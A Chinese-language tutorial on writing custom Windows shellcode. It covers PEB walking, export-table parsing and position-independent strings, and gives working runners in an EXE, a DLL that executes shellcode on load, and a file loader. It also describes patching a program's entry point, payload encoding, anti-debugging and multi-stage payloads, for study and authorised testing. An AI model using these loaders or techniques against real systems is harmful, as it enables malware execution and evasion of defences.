Shellcode编程——编写自己想要功能的Shellcode
字数 1490 2025-08-18 11:39:30
Shellcode编程技术详解
一、Shellcode基础概念
1. Shellcode定义
Shellcode本质是一段可以自主运行的汇编代码,具有以下特点:
- 没有任何文件结构
- 不依赖任何编译环境
- 无法像exe一样直接双击运行
- 通常用于漏洞利用、渗透测试和缓冲区溢出攻击
2. 为什么要自己编写Shellcode
- 工具生成的Shellcode功能固定,无法扩展
- 需要实现特定功能时(如新漏洞利用)
- 在缓冲区溢出和蠕虫病毒中Shellcode是核心组件
二、Shellcode编写关键问题
1. 数据访问问题
问题:Shellcode需要访问数据(如字符串),但全局变量地址是硬编码的,而Shellcode可能在任何位置运行。
解决方案:
- 使用相对地址而非绝对地址
- 将数据嵌入代码段中
- 通过运行时计算获取数据位置
2. API地址获取问题
问题:Shellcode需要调用系统API,如何动态获取API地址?
解决方案:
- 通过PEB(进程环境块)遍历获取kernel32.dll基地址
- 解析PE文件结构获取GetProcAddress地址
- 使用GetProcAddress获取其他API地址
3. 未导入API的使用问题
问题:目标程序未导入所需API怎么办?
解决方案:
- 使用LoadLibrary动态加载所需DLL
- 通过GetProcAddress获取函数地址
三、Shellcode编程框架
1. 框架结构
推荐使用以下文件结构(按编译顺序排列):
0.entry.cpp- 框架入口,生成最终Shellcode文件a.start.cpp- Shellcode开始位置,进行初始化操作b.work.cpp- Shellcode功能实现z.end.cpp- 标记Shellcode结束位置
2. 编译设置(VS2015)
- 关闭SDL检查
- 代码生成 -> 运行库 -> 多线程 (/MT)
- 平台工具集 -> Visual Studio 2015 - Windows XP (v140_xp)
- 禁用安全检查(GS)
- 关闭生成清单
3. 关键代码实现
获取kernel32.dll基地址
HMODULE getKernel32()
{
HMODULE hModule = NULL;
__asm {
mov eax, fs:[0x30] // PEB地址
mov eax, [eax + 0x0C] // PEB_LDR_DATA
mov eax, [eax + 0x14] // InInitializationOrderModuleList
mov eax, [eax] // 第二个模块通常是kernel32.dll
mov eax, [eax] // 第三个模块
mov eax, [eax + 0x10] // 模块基地址
mov hModule, eax
}
return hModule;
}
获取GetProcAddress地址
FARPROC getProcAddress(HMODULE hModuleBase)
{
FARPROC pRet = NULL;
PIMAGE_DOS_HEADER lpDosHeader;
PIMAGE_NT_HEADERS32 lpNtHeaders;
PIMAGE_EXPORT_DIRECTORY lpExports;
lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
// 检查导出表
if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size ||
!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
return pRet;
}
lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase +
(DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!lpExports->NumberOfNames) return pRet;
// 遍历导出表查找GetProcAddress
PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
for (DWORD dwLoop = 0; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
{
char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
if (strcmp(pszFunction, "GetProcAddress") == 0)
{
pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
}
字符串处理技巧
避免使用常规字符串声明方式:
// 错误方式(会产生绝对地址)
char str[] = "Hello World";
// 正确方式(嵌入代码段)
char szMsg[] = { 'H','e','l','l','o',0 };
四、Shellcode使用方式
1. 直接替换程序二进制
- 使用LordPE查看目标程序入口点
- 用010Editor打开目标程序,定位到入口点
- 删除原代码,插入Shellcode
- 保存运行
2. 代码加载方式
方式A:生成EXE
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89...";
void main()
{
__asm {
mov eax, offset shellcode
jmp eax
}
}
方式B:生成DLL
#include "stdafx.h"
#include<windows.h>
#include<iostream>
#pragma comment(linker, "/section:.data,RWE")
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "\x00\x49\xbe\x77\x69\x6e\x...";
DWORD WINAPI ceshi(LPVOID pParameter)
{
PVOID p = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
CODE code = (CODE)p;
code();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
3. 自定义加载器
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main(int argc, char* argv[])
{
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Open File Error!%d\n", GetLastError());
return -1;
}
DWORD dwSize = GetFileSize(hFile, NULL);
LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL)
{
printf("VirtualAlloc error:%d\n", GetLastError());
CloseHandle(hFile);
return -1;
}
DWORD dwRead;
ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
__asm {
call lpAddress;
}
_flushall();
system("pause");
return 0;
}
五、高级技巧
1. Shellcode编码与加密
- 使用XOR等简单加密算法
- 运行时解密
- 避免使用坏字符(如\x00)
2. 反调试技术
- 检查调试器存在
- 使用时间差检测
- 异常处理技巧
3. 多阶段Shellcode
- 第一阶段:最小功能(加载器)
- 第二阶段:下载完整功能
- 第三阶段:执行最终payload
六、资源与工具
1. 推荐工具
- 010Editor:二进制编辑
- LordPE:PE文件分析
- OllyDbg/x64dbg:调试分析
2. 学习资源
- 《Windows平台shellcode开发入门》系列文章
- 看雪学院相关教程
- OneBugMan老师的公开课
七、注意事项
- 仅用于合法研究和授权测试
- 实际使用时需要考虑目标环境
- 注意Shellcode的兼容性问题
- 测试时使用虚拟机环境
- 遵守相关法律法规
通过掌握这些技术,你可以编写出功能强大、灵活定制的Shellcode,满足各种安全研究和渗透测试需求。